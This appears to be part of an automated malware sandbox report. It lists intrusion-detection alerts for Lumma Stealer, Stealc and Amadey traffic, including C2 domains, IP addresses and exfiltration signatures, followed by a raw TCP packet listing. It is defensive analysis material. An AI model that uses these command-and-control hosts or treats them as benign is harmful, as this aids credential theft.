2024-10-24T04:02:19.671053+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	49993	185.215.113.16	80	TCP
2024-10-24T04:02:23.813992+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	49994	185.215.113.43	80	TCP
2024-10-24T04:02:24.475174+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.7	62475	1.1.1.1	53	UDP
2024-10-24T04:02:24.486989+0200	2056485	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)	1	192.168.2.7	59413	1.1.1.1	53	UDP
2024-10-24T04:02:24.501221+0200	2056483	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)	1	192.168.2.7	63021	1.1.1.1	53	UDP
2024-10-24T04:02:24.513629+0200	2056481	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)	1	192.168.2.7	53075	1.1.1.1	53	UDP
2024-10-24T04:02:24.525222+0200	2056479	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)	1	192.168.2.7	60661	1.1.1.1	53	UDP
2024-10-24T04:02:24.542449+0200	2056477	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)	1	192.168.2.7	55394	1.1.1.1	53	UDP
2024-10-24T04:02:24.554395+0200	2056475	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)	1	192.168.2.7	52080	1.1.1.1	53	UDP
2024-10-24T04:02:24.565184+0200	2056473	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)	1	192.168.2.7	62175	1.1.1.1	53	UDP
2024-10-24T04:02:24.799900+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	49995	185.215.113.16	80	TCP
2024-10-24T04:02:24.799900+0200	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.7	49995	185.215.113.16	80	TCP
2024-10-24T04:02:26.138216+0200	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.7	49996	104.102.49.254	443	TCP
2024-10-24T04:02:27.018675+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	50000	104.21.53.8	443	TCP
2024-10-24T04:02:27.018675+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	50000	104.21.53.8	443	TCP
2024-10-24T04:02:27.179915+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	49999	185.215.113.37	80	TCP
2024-10-24T04:02:28.351300+0200	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	50005	104.21.53.8	443	TCP
2024-10-24T04:02:28.351300+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	50005	104.21.53.8	443	TCP
2024-10-24T04:02:28.625341+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	50006	185.215.113.43	80	TCP
2024-10-24T04:02:30.761341+0200	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.7	50008	104.21.53.8	443	TCP
2024-10-24T04:02:36.373913+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	50029	185.215.113.37	80	TCP
2024-10-24T04:02:40.295676+0200	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.7	50036	104.21.53.8	443	TCP
2024-10-24T04:02:41.585496+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	50038	104.21.53.8	443	TCP
2024-10-24T04:02:49.105151+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	50043	185.215.113.37	80	TCP
2024-10-24T04:02:51.010049+0200	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.7	50039	185.215.113.16	80	TCP
2024-10-24T04:02:58.150664+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	50047	185.215.113.37	80	TCP
2024-10-24T04:02:59.689684+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.7	53731	1.1.1.1	53	UDP
2024-10-24T04:02:59.704652+0200	2056485	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)	1	192.168.2.7	63867	1.1.1.1	53	UDP
2024-10-24T04:02:59.718063+0200	2056483	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)	1	192.168.2.7	55751	1.1.1.1	53	UDP
2024-10-24T04:02:59.729634+0200	2056481	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)	1	192.168.2.7	55742	1.1.1.1	53	UDP
2024-10-24T04:02:59.741926+0200	2056479	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)	1	192.168.2.7	52186	1.1.1.1	53	UDP
2024-10-24T04:02:59.755266+0200	2056477	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)	1	192.168.2.7	55375	1.1.1.1	53	UDP
2024-10-24T04:02:59.768282+0200	2056475	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)	1	192.168.2.7	50193	1.1.1.1	53	UDP
2024-10-24T04:02:59.784176+0200	2056473	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)	1	192.168.2.7	62275	1.1.1.1	53	UDP
2024-10-24T04:03:01.646387+0200	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.7	50049	104.102.49.254	443	TCP
2024-10-24T04:03:02.462991+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	50051	104.21.53.8	443	TCP
2024-10-24T04:03:02.462991+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	50051	104.21.53.8	443	TCP
2024-10-24T04:03:04.007118+0200	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	50052	104.21.53.8	443	TCP
2024-10-24T04:03:04.007118+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	50052	104.21.53.8	443	TCP
2024-10-24T04:03:07.814061+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	50082	185.215.113.37	80	TCP
2024-10-24T04:03:11.770115+0200	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.7	50091	104.21.53.8	443	TCP
2024-10-24T04:03:11.770115+0200	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.7	50091	104.21.53.8	443	TCP
2024-10-24T04:03:12.874890+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	50094	104.21.53.8	443	TCP
2024-10-24T04:03:21.866279+0200	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.7	50095	185.215.113.16	80	TCP
2024-10-24T04:03:23.343757+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	50126	185.215.113.37	80	TCP
2024-10-24T04:03:29.949450+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	50137	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 24, 2024 04:01:27.976953030 CEST	49746	443	192.168.2.7	104.102.49.254
Oct 24, 2024 04:01:27.976999998 CEST	443	49746	104.102.49.254	192.168.2.7
Oct 24, 2024 04:01:27.977107048 CEST	49746	443	192.168.2.7	104.102.49.254
Oct 24, 2024 04:01:27.980156898 CEST	49746	443	192.168.2.7	104.102.49.254
Oct 24, 2024 04:01:27.980175972 CEST	443	49746	104.102.49.254	192.168.2.7
Oct 24, 2024 04:01:28.839606047 CEST	443	49746	104.102.49.254	192.168.2.7
Oct 24, 2024 04:01:28.839842081 CEST	49746	443	192.168.2.7	104.102.49.254
Oct 24, 2024 04:01:28.843420982 CEST	49746	443	192.168.2.7	104.102.49.254
Oct 24, 2024 04:01:28.843432903 CEST	443	49746	104.102.49.254	192.168.2.7
Oct 24, 2024 04:01:28.843846083 CEST	443	49746	104.102.49.254	192.168.2.7
Oct 24, 2024 04:01:28.895579100 CEST	49746	443	192.168.2.7	104.102.49.254
Oct 24, 2024 04:01:28.899334908 CEST	49746	443	192.168.2.7	104.102.49.254
Oct 24, 2024 04:01:28.947334051 CEST	443	49746	104.102.49.254	192.168.2.7
Oct 24, 2024 04:01:29.495141983 CEST	443	49746	104.102.49.254	192.168.2.7
Oct 24, 2024 04:01:29.495209932 CEST	49746	443	192.168.2.7	104.102.49.254
Oct 24, 2024 04:01:29.495220900 CEST	443	49746	104.102.49.254	192.168.2.7
Oct 24, 2024 04:01:29.495245934 CEST	443	49746	104.102.49.254	192.168.2.7
Oct 24, 2024 04:01:29.495275021 CEST	443	49746	104.102.49.254	192.168.2.7
Oct 24, 2024 04:01:29.495275974 CEST	49746	443	192.168.2.7	104.102.49.254
Oct 24, 2024 04:01:29.495296001 CEST	49746	443	192.168.2.7	104.102.49.254
Oct 24, 2024 04:01:29.495337009 CEST	443	49746	104.102.49.254	192.168.2.7
Oct 24, 2024 04:01:29.495388031 CEST	49746	443	192.168.2.7	104.102.49.254
Oct 24, 2024 04:01:29.495398045 CEST	443	49746	104.102.49.254	192.168.2.7
Oct 24, 2024 04:01:29.507512093 CEST	443	49746	104.102.49.254	192.168.2.7
Oct 24, 2024 04:01:29.507563114 CEST	443	49746	104.102.49.254	192.168.2.7
Oct 24, 2024 04:01:29.507623911 CEST	49746	443	192.168.2.7	104.102.49.254
Oct 24, 2024 04:01:29.507623911 CEST	49746	443	192.168.2.7	104.102.49.254
Oct 24, 2024 04:01:29.507635117 CEST	443	49746	104.102.49.254	192.168.2.7
Oct 24, 2024 04:01:29.507683039 CEST	49746	443	192.168.2.7	104.102.49.254
Oct 24, 2024 04:01:29.516863108 CEST	443	49746	104.102.49.254	192.168.2.7
Oct 24, 2024 04:01:29.516925097 CEST	49746	443	192.168.2.7	104.102.49.254
Oct 24, 2024 04:01:29.523679972 CEST	443	49746	104.102.49.254	192.168.2.7
Oct 24, 2024 04:01:29.523819923 CEST	443	49746	104.102.49.254	192.168.2.7
Oct 24, 2024 04:01:29.523883104 CEST	49746	443	192.168.2.7	104.102.49.254
Oct 24, 2024 04:01:29.531172037 CEST	49746	443	192.168.2.7	104.102.49.254
Oct 24, 2024 04:01:29.531187057 CEST	443	49746	104.102.49.254	192.168.2.7
Oct 24, 2024 04:01:29.570869923 CEST	49757	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:29.570930004 CEST	443	49757	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:29.571083069 CEST	49757	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:29.571394920 CEST	49757	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:29.571425915 CEST	443	49757	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:30.195023060 CEST	443	49757	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:30.195087910 CEST	49757	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:30.284697056 CEST	49757	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:30.284718990 CEST	443	49757	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:30.285773993 CEST	443	49757	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:30.287019968 CEST	49757	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:30.287041903 CEST	49757	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:30.287195921 CEST	443	49757	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:30.424967051 CEST	443	49757	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:30.425079107 CEST	443	49757	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:30.425158024 CEST	49757	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:30.425160885 CEST	443	49757	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:30.425193071 CEST	443	49757	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:30.425261974 CEST	49757	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:30.425276995 CEST	443	49757	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:30.425474882 CEST	443	49757	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:30.425524950 CEST	49757	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:30.425581932 CEST	49757	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:30.425602913 CEST	443	49757	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:30.425617933 CEST	49757	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:30.425625086 CEST	443	49757	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:30.559546947 CEST	49763	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:30.559587002 CEST	443	49763	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:30.559679031 CEST	49763	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:30.560008049 CEST	49763	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:30.560030937 CEST	443	49763	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:31.180279970 CEST	443	49763	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:31.180354118 CEST	49763	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:31.181518078 CEST	49763	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:31.181524038 CEST	443	49763	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:31.181845903 CEST	443	49763	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:31.183129072 CEST	49763	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:31.183159113 CEST	49763	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:31.183231115 CEST	443	49763	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:31.690098047 CEST	443	49763	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:31.690262079 CEST	443	49763	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:31.690375090 CEST	443	49763	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:31.690480947 CEST	443	49763	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:31.690495968 CEST	49763	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:31.690510988 CEST	443	49763	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:31.690548897 CEST	49763	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:31.690675974 CEST	443	49763	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:31.690784931 CEST	443	49763	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:31.690808058 CEST	49763	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:31.690814972 CEST	443	49763	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:31.690934896 CEST	49763	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:31.690942049 CEST	443	49763	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:31.695025921 CEST	443	49763	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:31.695076942 CEST	49763	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:31.695084095 CEST	443	49763	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:31.739262104 CEST	49763	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:31.807735920 CEST	443	49763	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:31.807888985 CEST	443	49763	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:31.807938099 CEST	443	49763	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:31.807950020 CEST	49763	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:31.807962894 CEST	443	49763	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:31.808074951 CEST	49763	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:31.808082104 CEST	443	49763	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:31.808094978 CEST	443	49763	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:31.808190107 CEST	49763	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:31.808367968 CEST	49763	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:31.808367968 CEST	49763	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:31.808382988 CEST	443	49763	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:31.808387995 CEST	443	49763	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:31.930407047 CEST	49771	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:31.930438042 CEST	443	49771	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:31.930561066 CEST	49771	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:31.930999041 CEST	49771	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:31.931015015 CEST	443	49771	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:32.559766054 CEST	443	49771	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:32.560040951 CEST	49771	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:32.561059952 CEST	49771	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:32.561067104 CEST	443	49771	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:32.561584949 CEST	443	49771	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:32.562923908 CEST	49771	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:32.562925100 CEST	49771	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:32.562966108 CEST	443	49771	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:33.105751038 CEST	443	49771	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:33.106010914 CEST	443	49771	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:33.106093884 CEST	49771	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:33.108912945 CEST	49771	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:33.108946085 CEST	443	49771	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:33.361377001 CEST	49780	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:33.361470938 CEST	443	49780	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:33.361589909 CEST	49780	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:33.361877918 CEST	49780	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:33.361910105 CEST	443	49780	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:33.989579916 CEST	443	49780	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:33.989685059 CEST	49780	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:33.991012096 CEST	49780	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:33.991024971 CEST	443	49780	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:33.991430998 CEST	443	49780	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:33.992811918 CEST	49780	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:33.993001938 CEST	49780	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:33.993031979 CEST	443	49780	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:33.993099928 CEST	49780	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:33.993108034 CEST	443	49780	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:34.548952103 CEST	443	49780	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:34.549185991 CEST	443	49780	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:34.549340963 CEST	49780	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:34.549340963 CEST	49780	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:34.724280119 CEST	49788	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:34.724329948 CEST	443	49788	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:34.724404097 CEST	49788	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:34.724776030 CEST	49788	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:34.724797964 CEST	443	49788	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:35.338713884 CEST	443	49788	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:35.338789940 CEST	49788	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:35.339948893 CEST	49788	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:35.339962959 CEST	443	49788	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:35.340243101 CEST	443	49788	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:35.341382980 CEST	49788	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:35.341541052 CEST	49788	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:35.341587067 CEST	443	49788	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:35.341669083 CEST	49788	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:35.341685057 CEST	443	49788	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:36.075957060 CEST	443	49788	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:36.076215029 CEST	49788	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:36.076251984 CEST	443	49788	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:36.076307058 CEST	49788	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:36.483094931 CEST	49800	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:36.483114004 CEST	443	49800	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:36.483234882 CEST	49800	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:36.483609915 CEST	49800	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:36.483623981 CEST	443	49800	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:37.089704037 CEST	443	49800	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:37.090095997 CEST	49800	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:37.091134071 CEST	49800	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:37.091140032 CEST	443	49800	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:37.091500044 CEST	443	49800	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:37.092880011 CEST	49800	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:37.093000889 CEST	49800	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:37.093005896 CEST	443	49800	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:37.436903954 CEST	443	49800	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:37.437135935 CEST	443	49800	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:37.437138081 CEST	49800	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:37.437202930 CEST	49800	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:38.497448921 CEST	49813	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:38.497493029 CEST	443	49813	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:38.497565985 CEST	49813	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:38.497900009 CEST	49813	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:38.497916937 CEST	443	49813	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:39.119712114 CEST	443	49813	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:39.119857073 CEST	49813	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:39.121138096 CEST	49813	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:39.121155977 CEST	443	49813	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:39.121500969 CEST	443	49813	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:39.122718096 CEST	49813	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:39.123450994 CEST	49813	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:39.123490095 CEST	443	49813	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:39.123595953 CEST	49813	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:39.123634100 CEST	443	49813	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:39.123739004 CEST	49813	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:39.123786926 CEST	443	49813	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:39.123912096 CEST	49813	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:39.123941898 CEST	443	49813	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:39.124085903 CEST	49813	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:39.124120951 CEST	443	49813	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:39.124291897 CEST	49813	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:39.124325991 CEST	443	49813	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:39.124346972 CEST	49813	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:39.124497890 CEST	49813	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:39.124531984 CEST	49813	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:39.134879112 CEST	443	49813	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:39.135082960 CEST	49813	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:39.135139942 CEST	443	49813	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:39.135147095 CEST	49813	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:39.135169029 CEST	49813	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:39.135221958 CEST	443	49813	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:39.135335922 CEST	49813	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:39.135377884 CEST	443	49813	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:39.135422945 CEST	49813	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:39.135510921 CEST	49813	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:39.140522957 CEST	443	49813	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:41.032666922 CEST	443	49813	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:41.032768965 CEST	443	49813	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:41.032828093 CEST	49813	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:41.033000946 CEST	49813	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:41.033025026 CEST	443	49813	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:41.042998075 CEST	49830	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:41.043046951 CEST	443	49830	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:41.043217897 CEST	49830	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:41.043518066 CEST	49830	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:41.043529034 CEST	443	49830	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:41.655464888 CEST	443	49830	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:41.655580997 CEST	49830	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:41.656799078 CEST	49830	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:41.656802893 CEST	443	49830	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:41.657035112 CEST	443	49830	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:41.658307076 CEST	49830	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:41.658411026 CEST	49830	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:41.658447981 CEST	443	49830	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:41.990535975 CEST	443	49830	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:41.990601063 CEST	443	49830	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:41.990691900 CEST	49830	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:41.990880013 CEST	49830	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:41.990915060 CEST	443	49830	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:41.990925074 CEST	49830	443	192.168.2.7	104.21.53.8
Oct 24, 2024 04:01:41.990931988 CEST	443	49830	104.21.53.8	192.168.2.7
Oct 24, 2024 04:01:41.992865086 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:41.999778986 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:41.999872923 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:42.000030041 CEST	49837	80	192.168.2.7	185.215.113.16
